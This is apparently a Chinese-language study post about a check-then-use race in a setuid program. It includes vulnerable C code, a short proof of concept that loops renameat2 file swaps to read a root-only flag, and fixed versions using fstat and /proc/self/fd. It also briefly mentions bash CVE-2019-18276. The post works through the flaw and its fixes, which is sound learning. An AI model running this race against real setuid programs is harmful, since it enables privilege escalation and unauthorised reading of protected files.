0x01 Intro

Web选手之前未对bin/pwn的漏洞有过接触,同时也无相关基础,在某个漏洞遇到了这种利用,故管中窥豹一番。

0x02 Question1

存在flag文件,owner和owner_group均为root,文件权限600。现有以下以下代码编译而成的readflag程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char* argv[]) {
int fd;
int size = 0;
char buf[256];

if(argc != 2) {
printf("usage: %s <file>\n", argv[0]);
exit(1);
}

struct stat stat_data;
if (stat(argv[1], &stat_data) < 0) {
fprintf(stderr, "Failed to stat %s: %s\n", argv[1], strerror(errno));
exit(1);
}

if(stat_data.st_uid == 0)
{
fprintf(stderr, "File %s is owned by root\n", argv[1]);
exit(1);
}

fd = open(argv[1], O_RDONLY);

if(fd <= 0)
{
fprintf(stderr, "Couldn't open %s\n", argv[1]);
exit(1);
}

do {
size = read(fd, buf, 256);
write(1, buf, size);
} while(size>0);

}

gcc readflag.c -o readflag 编译,且使用 chmod 4755 readflag 添加SetUID权限(s权限)

ubuntu 18.04 gcc7.5.0

1
2
3
4
5
6
➜  race ls -la readflag
-rwsr-xr-x 1 whip1ash whip1ash 8792 Jun 14 16:20 readflag

//执行效果如下
➜ race ./readflag ./flag
File ./flag is owned by root

分析

首先使用stat函数读取文件信息,后判断st_uid是否为0,若不为0则读取文件内容。

stat函数

https://linux.die.net/man/2/stat

stat函数返回stat结构体,其中包含文件相关信息。stat结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct stat {
dev_t st_dev; /* ID of device containing file */
ino_t st_ino; /* inode number */
mode_t st_mode; /* protection */
nlink_t st_nlink; /* number of hard links */
uid_t st_uid; /* user ID of owner */
gid_t st_gid; /* group ID of owner */
dev_t st_rdev; /* device ID (if special file) */
off_t st_size; /* total size, in bytes */
blksize_t st_blksize; /* blocksize for file system I/O */
blkcnt_t st_blocks; /* number of 512B blocks allocated */
time_t st_atime; /* time of last access */
time_t st_mtime; /* time of last modification */
time_t st_ctime; /* time of last status change */
};

Setuid权限

根据《深入理解Linux内核》,可知进程的信任凭据放在进程描述符的几个字段中,包括系统中用户和用户组的标识符。

Name Desc
uid, gid 用户和组的实际标识符
euid, egid 用户和组的有效标识符
fsuid, fsgid 文件访问的用户和组的有效标识符
gruops 补充的组标识符
suid, sgid 用户和组保存的标识符

uid为0指定root用户,gid为0指定root组。在上述表中,最常见的为euid和fsuid,fsuid用于所有与文件相关的检查,而euid用于其他。

在内核权限检查中,如果进程的信任凭据为0,内核将放弃权限校验。通常情况下uid、euid、fsuid、suid字段具有相同的值,但子进程也可通过setuid等操作对信任凭据标识符进行修改。

当用户执行setuid程序,或可执行文件的setuid标志位被设置时,euid和fsuid字段被置为这个文件拥有者的标识符。比如,readflag程序(文件)所有者uid和gid均为0,但当非root用户运行该程序时,若不存在setuid权限,则无法读取uid为0的flag文件。存在setuid权限时,执行时默认为root权限。

0x03 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}

poc中使用renameat2函数,需要使用glibc wrappers进行调用,关于renameat2详情可以参考 https://man7.org/linux/man-pages/man2/rename.2.html,其中RENAME_EXCHANGE代表操作是原子性的。

过程非常简单,即在stat时,readflag程序读取的flag文件指向为用户创建的文件,此时uid不等于0,但open操作的时候读入的文件,指向flag文件,同时具有setuid权限,故可读出文件内容。

0x04 应对

使用fstat能够防止这个问题,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char* argv[]) {
int fd;
int size = 0;
char buf[256];

if(argc != 2) {
printf("usage: %s <file>\n", argv[0]);
exit(1);
}

fd = open(argv[1], O_RDONLY);

if(fd <= 0)
{
fprintf(stderr, "Couldn't open %s\n", argv[1]);
exit(1);
}

struct stat stat_data;
if (fstat(fd, &stat_data) < 0) {
fprintf(stderr, "Failed to stat %s: %s\n", argv[1], strerror(errno));
exit(1);
}

if(stat_data.st_uid == 0)
{
fprintf(stderr, "File %s is owned by root\n", argv[1]);
exit(1);
}


do {
size = read(fd, buf, 256);
write(1, buf, size);
} while(size>0);

}

深入dig一下,为什么使用open后的fd可以在文件被更改时stat不变?于是仔细读了一下《深入理解linux内核》VFS的部分,这里做了一个小实验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char const *argv[])
{
int fd;
int size = 0;
char buf[256];

fd = open(argv[1], O_RDONLY);
if(fd <= 0)
{
fprintf(stderr, "Couldn't open %s\n", argv[1]);
exit(1);
}

sleep(20);

do {
size = read(fd, buf, 256);
write(1, buf, size);
} while(size>0);

return 0;
}

在sleep的时候删除掉r文件,依然可以读出r的内容,说明r以某种形式存储在了某个地方。

根据书中内容(文件虚拟系统-VFS系统调用的实现-open()系统调用)可知,open实际调用sys_open()函数,这个函数做了存在两个主要功能,一是通过open_namei进行安全检查,二是通过dentry_open()创建一个新的文件对象,其中,文件对象的结构体如下:

这个函数中,依次初始化上述字段那种 f_flags f_mode、f_fentry f_vfsmnt、f_op后,进行file_ra_stat_init()预读。预读的过程相当复杂,简单来看是通过磁盘IO将文件读入页高速缓存后在加载至用户态缓冲区,鄙人基础过于薄弱,只能理解其大概。

故结论如下,open后返回的int fd,在用户访问文件的链表中指向当前打开的文件,这个fd是独一无二的,当前数据存于用户态缓冲区中(由于访问文件系统的模式过于多,鄙人无法判断这个过程是属于规范模式还是内存映射模式)。当rm后,文件并未真正从磁盘删除,而是被阻塞,结束后被删除。

0x03 Question2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char* argv[]) {
int fd;
int size = 0;
char buf[256];

if(argc != 2) {
printf("usage: %s <file>\n", argv[0]);
exit(1);
}

fd = open(argv[1], O_RDONLY);

if(fd <= 0)
{
fprintf(stderr, "Couldn't open %s\n", argv[1]);
exit(1);
}

struct stat stat_data;
if (fstat(fd, &stat_data) < 0) {
fprintf(stderr, "Failed to stat %s: %s\n", argv[1], strerror(errno));
exit(1);
}

if(stat_data.st_uid == 0)
{
fprintf(stderr, "File %s is owned by root\n", argv[1]);
exit(1);
}

char *args[] = { "/bin/cat", argv[1], NULL };
execv("/bin/cat", args);

}

当使用其他程序使用path去读取文件的时候发现条件竞争依然存在,虽然上述使用open获取的fd进行了检查。但当我们知道了上面的分析open浅显原理后其实并不难理解,当在open时,文件被读入到用户态缓冲区中,此时所有的访问均基于文件列表中的fd指针。

从/proc/xxxx/fd中也可看出这一点,其3指向fd结构体中文件在内存中的地址,但其他操作并不阻塞,比如rename,故rename可以在文件系统中对文件进行更改,从而使得cat可以读出其文件内容。但在rename时,fd/3中指向的文件名也会发生变化,inode会更新磁盘索引节点。引用书中的几处:



0x05 应对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char* argv[]) {
int fd;
int size = 0;
char buf[256];

if(argc != 2) {
printf("usage: %s <file>\n", argv[0]);
exit(1);
}

fd = open(argv[1], O_RDONLY);

if(fd <= 0)
{
fprintf(stderr, "Couldn't open %s\n", argv[1]);
exit(1);
}

struct stat stat_data;
if (fstat(fd, &stat_data) < 0) {
fprintf(stderr, "Failed to stat %s: %s\n", argv[1], strerror(errno));
exit(1);
}

if(stat_data.st_uid == 0)
{
fprintf(stderr, "File %s is owned by root\n", argv[1]);
exit(1);
}

char fd_alias[64];
snprintf(fd_alias, 63, "/proc/self/fd/%i", fd);

char *args[] = { "/bin/cat", fd_alias, NULL };
execv("/bin/cat", args);

}

在这里的检查中,使用fd/fd_num 指向的fd作为cat的输入解决了这个问题。

0x06 有趣的uid

在上面的问题中鄙人比较详细的理解了uid相关的机制,这里还引出一个比较鸡肋的漏洞,CVE-2019-18276,具体过程不再赘述,可以去参考liveoverflow的视频,此处记录几个在查找相关资料时比较模糊的点。

一些背景知识

在linux user login shell时如何能够生成一个对应权限的shell呢?简单过程就是root权限将打开shell,而后通过setuid设置为当前用户权限,从上面setuid权限章节部分可知,当euid为0,即root权限时,setuid将四个uid位均置为相应的uid。

当euid不为0时,setuid只更改euid(effective uid)和fsuid(file system uid),保留了uid(bash uid)和suid(saved uid),这种设计是为了临时的权限恢复,从setuid的源码中也可看出这点。典型的例子在于使用setuid权限的程序时,某些情况时能够获取setuid程序文件所有者的权限,用的就是上面的机制。由此也可知,root降权的时候所有的权限位均重置大概率上也是为了防止提权漏洞。

CVE-2019-18276

CVE-2019-18276漏洞是由于bash在非特权模式下降权时只写了euid,从而可以通过动态加载的方式恢复到suid的权限,在setuid权限的前提下。

动态加载的方式与ld_preload 相似,这里通过enable -f 加载动态链接库,不知是否可以通过在漏洞条件的bash中调用ld_preload进行提权,在程序中使用suid的权限进行操作?这里就不再探究了,后续有相关利用场景再深入研究。

⬆︎TOP